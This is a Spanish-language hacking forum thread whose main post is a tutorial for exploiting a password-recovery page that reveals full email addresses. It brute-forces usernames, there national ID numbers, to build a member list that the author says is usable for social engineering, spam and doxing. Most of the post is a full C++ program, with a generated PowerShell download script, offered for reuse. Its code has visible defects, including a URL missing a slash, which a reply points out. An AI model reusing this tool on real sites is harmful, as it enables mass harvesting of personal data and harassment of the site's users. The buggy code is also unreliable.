Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Obteniendo memberlist's mediante fuerza bruta

  • 4 Respuestas
  • 3496 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado andergedon

  • *
  • Underc0der
  • Mensajes: 60
  • Actividad:
    0%
  • Reputación 6
  • High tech, low life
    • Ver Perfil
    • GitHub
« en: Junio 04, 2017, 01:33:28 am »
Muy buenas amigos de Underc0de, después de un tiempo de inactividad (mucho trabajo y clases jeje) vuelvo para mostrarles una vulnerabilidad que se encuentra en algunos paneles de login. No es tan común, pero puede encontrarse por ahí. Por petición del sadmin no revelaré la identidad de la web, pero es la que utilizaré de ejemplo.
Sin más, empecemos a identificar y explotar.

IDENTIFICANDO LA VULNERABILIDAD
--------------------------------------

La vulnerabilidad permite obtener la lista de miembros de un sitio web, cuando este no utiliza protección de censura/cifrado en los correos afiliados a los usernames. Una memberlist puede ser utilizada para ataques de ing. social, spam, doxing, etc.

La vulnerabilidad se encuentra en los paneles de login con la opción de 'recuperar contraseña' Una vez que introducimos nuestro usuario para comprobar que tenemos una cuenta en el sitio nos devuelve un bonito mensaje junto con el correo afiliado a la cuenta, sin ningún tipo de censura.


Si nos devuelve este mensaje o algo parecido, podemos comprobar que SI es vulnerable

Si nos devuelve un mensaje parecido a este.

Citar
Se ha enviado un correo a
COR****SAR**@gmail.com

Entonces NO es vulnerable.

Ahora que ya sabemos identificarla, continuemos.


EXPLOTANDO LA VULNERABILIDAD
--------------------------------------

Si observamos el comportamiento de las cabeceras http al tratar de logearnos, comprobamos como y a donde se envian nuestros argumentos colocados en el panel login (usuario y contraseña)

Ahora ya sabemos que 'TC' recibe el parametro del usuario y 'TextC' el de contraseña

Si obtenemos el link GET podemos reescribir nuestro user y pass para acceder de forma automática, quedando algo como esto:

Código: [Seleccionar]
http://example.com/Login.aspx?__LASTFOCUS=&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJMjQ1MTQ4MDAyD2QWAgIDD2QWAgIhDw8WBh4EVGV4dAULUFNNIE1hcmFjYXkeBlRhcmdldAUGX0JsYW5rHgtOYXZpZ2F0ZVVybAUiaHR0cDovL3d3dy5mYWNlYm9vay5jb20vUFNNTWFyYWNheWRkZGfGZi%2F1Q3fY9CkB44UHgjFxycrA&__VIEWSTATEGENERATOR=F78B3E72&__EVENTVALIDATION=%2FwEWBQL7kOrFBQLs757wDAKFlKGwCgLM9PumDwK81vLUAXZ9c3WJBe6Rgos3yQ1aASODDKbk&TC=USUARIO2&TextC=CONTRASEÑA2&BPase=Acceder
Así podemos acceder a la web de forma directa. Ahora observamos las cabeceras pero esta vez buscando hacia donde se dirigen cuando tratamos de 'recuperar contraseña'

básicamente se obtiene la misma respuesta, lo único que cambia es el argumento 'EVENTTARGET' que pasa de estar vacío a tener como argumento 'LinkButton1' y porsupuesto la contraseña vacía.

Código: [Seleccionar]
http://example.com/Login.aspx?__LASTFOCUS=&__EVENTTARGET=LinkButton1&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJMjQ1MTQ4MDAyD2QWAgIDD2QWAgIhDw8WBh4EVGV4dAULUFNNIE1hcmFjYXkeBlRhcmdldAUGX0JsYW5rHgtOYXZpZ2F0ZVVybAUiaHR0cDovL3d3dy5mYWNlYm9vay5jb20vUFNNTWFyYWNheWRkZGfGZi%2F1Q3fY9CkB44UHgjFxycrA&__VIEWSTATEGENERATOR=F78B3E72&__EVENTVALIDATION=%2FwEWBQL7kOrFBQLs757wDAKFlKGwCgLM9PumDwK81vLUAXZ9c3WJBe6Rgos3yQ1aASODDKbk&TC=USUARIO1&TextC=&
Y de esa manera se ingresa a la web de recuperar contraseña de forma directa, colocando los argumentos en la URL y devolviendo el correo asociado (si es que el usuario existe, claro)


Para automatizar el proceso utilizaremos fuerza bruta para dar con los usuarios y obtener sus correos. En la web que uso como ejemplo, el nombre de usuario es el número del documento de identidad.

Para ello diseñé un programa, utilicé C++ y PowerShell. La verdad estoy muy seguro de que se puede hacer mucho más rápido con otros lenguajes de programación, y confieso que no me preocupé por la portabilidad del código, aún así lo dejo por si alguien desea tomarlo como referencia y saber mas o menos como funciona el proceso.

Código: C++
  1. #include <iostream>
  2. #include <fstream>
  3. #include <string.h>
  4. #include <windows.h>
  5. using namespace std;
  6.  
  7. char cedula[320];
  8. char aux[] = {"http://example.comLogin.aspx?__LASTFOCUS=&__EVENTTARGET=LinkButton1&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJMjQ1MTQ4MDAyD2QWAgIDD2QWAgIhDw8WBh4EVGV4dAULUFNNIE1hcmFjYXkeBlRhcmdldAUGX0JsYW5rHgtOYXZpZ2F0ZVVybAUiaHR0cDovL3d3dy5mYWNlYm9vay5jb20vUFNNTWFyYWNheWRkZGfGZi%2F1Q3fY9CkB44UHgjFxycrA&__VIEWSTATEGENERATOR=F78B3E72&__EVENTVALIDATION=%2FwEWBQL7kOrFBQLs757wDAKFlKGwCgLM9PumDwK81vLUAXZ9c3WJBe6Rgos3yQ1aASODDKbk&TC="};
  9.  
  10.  
  11. char URL[600] = {"http://example.com/Login.aspx?__LASTFOCUS=&__EVENTTARGET=LinkButton1&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUJMjQ1MTQ4MDAyD2QWAgIDD2QWAgIhDw8WBh4EVGV4dAULUFNNIE1hcmFjYXkeBlRhcmdldAUGX0JsYW5rHgtOYXZpZ2F0ZVVybAUiaHR0cDovL3d3dy5mYWNlYm9vay5jb20vUFNNTWFyYWNheWRkZGfGZi%2F1Q3fY9CkB44UHgjFxycrA&__VIEWSTATEGENERATOR=F78B3E72&__EVENTVALIDATION=%2FwEWBQL7kOrFBQLs757wDAKFlKGwCgLM9PumDwK81vLUAXZ9c3WJBe6Rgos3yQ1aASODDKbk&TC="};
  12.  
  13.  
  14. char URL2[] = {"&TextC=&"};
  15. char TC[10];
  16. char correo[50];
  17.  
  18. void wordlist();
  19. void script();
  20. void searcher();
  21. bool request(char *&);
  22.  
  23. ofstream output;
  24.  
  25. int main(){
  26. cout<<"\n\n\n";
  27.  
  28.         cout<<"MEMBER LIST BRUTEFORCE || By: TOMJASP3R"<<endl;
  29.         wordlist();             //funcion que carga la wordlist a la variable cedula
  30.         int j=0;
  31.         do{
  32.        
  33.         for(int i=0; i<strlen(cedula); i++){                    //almacena una de las cedulas en TC
  34.                 if(cedula[j] != ',' && cedula[j]!= '.'){
  35.                         TC[i]=cedula[j];
  36.                 }
  37.                 if(cedula[j]==','){
  38.                         break;
  39.                 }
  40.                 j++;
  41.         }
  42.        
  43.         j=j+1;
  44.        
  45.         cout<<"BUSCANDO USUARIO: "<<TC<<endl;
  46.        
  47.         strcat(URL,TC);         //..
  48.         strcat(URL,URL2);       //armando la URL        
  49.         fflush(stdout);         //..
  50.         script();                       //funcion que corre el script PowerShell
  51.  
  52.         strcpy(URL,aux);
  53.        
  54.        
  55.         output.open("memberlist.txt");
  56.         searcher();                     //funcion que busca el correo dentro del html
  57.        
  58.         system("del C:\\users\\desktop\\html.txt");
  59.        
  60. }while(cedula[j]!='.');
  61.         output.close();
  62.         return 0;
  63. }
  64.  
  65. void wordlist(){
  66.        
  67.         ifstream archivo("wordlist.txt");
  68.  
  69.         long cont=0;
  70.        
  71.         if(archivo.fail()){
  72.                 cout<<"ERROR // WORDLIST NO ENCONTRADO"<<endl;
  73.         }
  74.        
  75.         else{
  76.                 while(!archivo.eof()){
  77.                         archivo.getline(cedula,sizeof(cedula));
  78.                 }
  79.         }
  80.        
  81. }
  82.  
  83. void script(){//creando sript PowerShell
  84.        
  85.         ofstream script;
  86.         script.open("download.ps1");
  87.        
  88.         script<<"echo \"BUSCANDO CORREO\" "<<endl;
  89.         script<<"$url = \""<<URL<<"\""<<endl;
  90.         script<<"$output = \"C:\\users\\desktop\\html.txt\""<<endl;
  91.         script<<"Import-Module BitsTransfer"<<endl;
  92.         script<<"Start-BitsTransfer -Source $url -Destination $output"<<endl;
  93.         script<<"echo LISTO"<<endl;
  94.         script.close();
  95.  
  96.         system("download.ps1");
  97.        
  98. }
  99.  
  100. void searcher(){//buscando correo en el HTML descargado
  101.         bool K=false;
  102.         ifstream html ("C:\\users\\desktop\\html.txt");
  103.        
  104.         char *line;
  105.        
  106.         line = new char[3000];
  107.        
  108.         while(!html.eof()){//leyendo html hasta encontrar la linea donde se encuentra el correo
  109.                 html.getline(line,3000);
  110.                 if(request(line)==true){
  111.                         break;
  112.                 }
  113.                
  114.                 else{
  115.                         continue;
  116.                 }
  117.         }
  118.        
  119.         int j=0;
  120.        
  121.         for(int i=0; i<strlen(line); i++){
  122.                
  123.                 if(line[i] == 'a' && line[i+1] ==' ' && line[i+2]=='a'){//extrayendo correo y guardando en archivo txt
  124.                        
  125.                         do{
  126.                                 correo[j]=line[i+3];
  127.                                 j++;
  128.                                 i++;
  129.                                
  130.                         }while(line[i+3]!='<');
  131.                         cout<<"CORREO ENCONTRADO!!: "<<correo<<endl;
  132.                         output<<correo<<" || "<<TC<<endl;
  133.                         K=true;
  134.                         break;
  135.                 }
  136.         }
  137.        
  138.         if(K==false){
  139.                 cout<<"USUARIO NO REGISTRADO"<<endl;
  140.         }
  141.        
  142.         delete [] line;
  143.        
  144. }
  145.  
  146. bool request(char *& linea){
  147.  
  148. for(int i=0; i<strlen(linea); i++){
  149.        
  150.         if(linea[i]=='3' && linea[i+1]=='9' && linea[i+2]=='4'){
  151.                 return true;
  152.         }
  153. }
  154.                 return false;
  155. }
  156.  

En resumen, el programa construye la URL de acuerdo a un wordlist.txt con el nombre de los usuarios
esa URL la utiliza en un script de powershell para descargar el HTML de la página
una vez descargado el HTML, el programa busca la cadena de texto donde se encuentra el correo.
Si este se encuentra lo almacena en otro arhivo de texto plano.
Y así susesivamente hasta probar todos los usuarios.



Y de esa manera obtenemos la lista de miembros usuario/correo registrados en la web.

La solución para esto sería simplemente no mostrar un mensaje con el correo o en su defecto mostrarlo pero con algún tipo de sensura.

Eso ha sido todo por hoy, cualquier duda pueden comentar.

Saludos a todos!
« Última modificación: Junio 04, 2017, 09:03:29 pm por EPSILON »
\x11\x12\x13

Desconectado RuidosoBSD

  • *
  • Underc0der
  • Mensajes: 183
  • Actividad:
    0%
  • Reputación 2
    • Ver Perfil
    • Email
« Respuesta #1 en: Junio 04, 2017, 05:59:13 pm »
Solo para servidores que corren un IIS supongo. Una duda ¿tienes un error en la linea 8?

Desconectado andergedon

  • *
  • Underc0der
  • Mensajes: 60
  • Actividad:
    0%
  • Reputación 6
  • High tech, low life
    • Ver Perfil
    • GitHub
« Respuesta #2 en: Junio 05, 2017, 06:17:16 pm »
Solo para servidores que corren un IIS supongo. Una duda ¿tienes un error en la linea 8?

No necesariamente el servidor tiene que correr un IIS, con el simple hecho de que la plataforma devuelva el correo de la forma que se explica en el post, basta. Me dijeron que hace un par de años mercadolibre tenía esta falla.

Y no, ningún error en el código, a mi me compila perfecto.
\x11\x12\x13

Desconectado RuidosoBSD

  • *
  • Underc0der
  • Mensajes: 183
  • Actividad:
    0%
  • Reputación 2
    • Ver Perfil
    • Email
« Respuesta #3 en: Junio 06, 2017, 04:15:29 am »
Hombre si la web esta hecha en .NET necesariamente debería correr en servidores con Windows, tambien con Mono y librerias de .NET pero supongo que si vas a usar ASP como lenguaje la mayoria usan servidores Windows

Desconectado und3rc0de

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #4 en: Octubre 21, 2017, 01:46:35 am »
Buen tutorial se agradece el codigo fuente  :D

 

¿Te gustó el post? COMPARTILO!



Realizando un ataque báscio de SQLi mediante metodo POST desde 0

Iniciado por m0rf30

Respuestas: 1
Vistas: 3270
Último mensaje Julio 16, 2016, 05:42:55 am
por Uservzk80
Buscar el puerto de escucha mediante el /proc

Iniciado por vjnario

Respuestas: 6
Vistas: 4868
Último mensaje Marzo 03, 2013, 02:37:52 pm
por Adastra